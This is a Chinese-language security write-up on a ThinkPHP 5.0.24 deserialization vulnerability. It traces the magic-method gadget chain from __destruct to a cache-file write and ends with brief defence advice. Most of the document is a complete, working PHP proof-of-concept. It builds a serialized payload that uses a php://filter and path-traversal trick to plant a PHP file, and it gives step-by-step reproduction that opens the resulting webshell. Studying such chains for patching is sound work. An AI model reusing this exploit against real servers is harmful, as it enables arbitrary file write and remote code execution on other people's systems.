Thinkphp5.0.24反序列化分析和poc
字数 1100 2025-08-13 21:33:22

ThinkPHP 5.0.24 反序列化漏洞分析与利用

漏洞概述

ThinkPHP 5.0.24 存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据触发框架中的魔术方法链,最终实现任意文件写入和远程代码执行。

环境搭建

  1. 下载 ThinkPHP 5.0.24:http://www.thinkphp.cn/donate/download/id/1279.html
  2. 修改 application/index/controller/Index.php 文件,添加反序列化入口点:
class Index{
    public function index() {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a']));
    }
}

漏洞分析

利用链概览

攻击链如下:
__destructremoveFilesfile_exists__toStringtoJsontoArray__call → 文件写入

关键点分析

  1. 入口点 - Windows 类的 __destruct 方法:

    public function __destruct() {
        $this->close();
        $this->removeFiles();
    }
    
  2. 触发 __toString - 通过 removeFiles 中的 file_exists

    private function removeFiles() {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {  // 触发 __toString
                @unlink($filename);
            }
        }
    }
    
  3. __toString 利用 - Model 类的 __toString 方法:

    public function __toString() {
        return $this->toJson();
    }
    
  4. toArray 方法中的关键调用

    public function toArray() {
        // 经过多个条件判断后
        $item[$key] = $value ? $value->getAttr($attr) : null;  // 触发 __call
    }
    
  5. Output 类的 __call 方法

    public function __call($method, $args) {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
        }
    }
    
  6. 文件写入利用 - 通过 Memcache 驱动和 File 驱动的组合:

    // File 类的 set 方法
    public function set($name, $value, $expire = null) {
        $filename = $this->getCacheKey($name, true);
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        file_put_contents($filename, $data);  // 关键文件写入点
    }
    

绕过技巧

  1. 绕过 exit() 限制

    • 使用 PHP 过滤器:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=...
    • 通过路径遍历写入指定文件:/../a.php
  2. Windows 环境适配

    • Windows 对文件名有特殊字符限制,需要特殊处理

完整 PoC

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{ }
class Windows extends Pipes{
    private $files=[];
    function __construct(){
        $this->files=[new Pivot()];
    }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;
    public function __construct(){
        $this->append=["getError"];
        $this->error=new HasOne();
        $this->parent=new Output();
    }
}

namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
    function __construct(){
        parent::__construct();
    }
}

namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation=false;
        $this->query= new Query();
    }
}

namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->styles=['getAttr'];
        $this->handle=new Memcache();
    }
}

namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model= new Output();
    }
}

namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr=["kanjin","kanjin"];
    }
}

namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
    protected $handler = null;
    function __construct(){
        $this->handler=new File();
    }
}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
    protected $options=[];
    function __construct(){
        parent::__construct();
        $this->options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => '',
            'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
            'data_compress' => false,
        ];
    }
}

namespace think\cache;
abstract class Driver{
    protected $tag;
    function __construct(){
        $this->tag=true;
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

漏洞复现

  1. 使用 PoC 生成 base64 编码的 payload
  2. 访问目标 URL:http://target.com/index.php?a=[生成的base64]
  3. 访问写入的 webshell:http://target.com/a.php

防御措施

  1. 升级到最新版本的 ThinkPHP
  2. 避免直接反序列化用户输入
  3. 使用 __wakeup__destruct 方法时进行安全检查
  4. 对文件操作进行严格的权限控制

参考链接

  • https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6
  • https://xz.aliyun.com/t/7457#toc-3
ThinkPHP 5.0.24 反序列化漏洞分析与利用 漏洞概述 ThinkPHP 5.0.24 存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据触发框架中的魔术方法链,最终实现任意文件写入和远程代码执行。 环境搭建 下载 ThinkPHP 5.0.24:http://www.thinkphp.cn/donate/download/id/1279.html 修改 application/index/controller/Index.php 文件,添加反序列化入口点: 漏洞分析 利用链概览 攻击链如下: __destruct → removeFiles → file_exists → __toString → toJson → toArray → __call → 文件写入 关键点分析 入口点 - Windows 类的 __destruct 方法: 触发 __toString - 通过 removeFiles 中的 file_exists : __toString 利用 - Model 类的 __toString 方法: toArray 方法中的关键调用 : Output 类的 __call 方法 : 文件写入利用 - 通过 Memcache 驱动和 File 驱动的组合: 绕过技巧 绕过 exit() 限制 : 使用 PHP 过滤器: php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=... 通过路径遍历写入指定文件: /../a.php Windows 环境适配 : Windows 对文件名有特殊字符限制,需要特殊处理 完整 PoC 漏洞复现 使用 PoC 生成 base64 编码的 payload 访问目标 URL: http://target.com/index.php?a=[生成的base64] 访问写入的 webshell: http://target.com/a.php 防御措施 升级到最新版本的 ThinkPHP 避免直接反序列化用户输入 使用 __wakeup 或 __destruct 方法时进行安全检查 对文件操作进行严格的权限控制 参考链接 https://www.yuque.com/tidesec/0sec/26a6f72b99dd3465134d534f96aab0a0#IS5Q6 https://xz.aliyun.com/t/7457#toc-3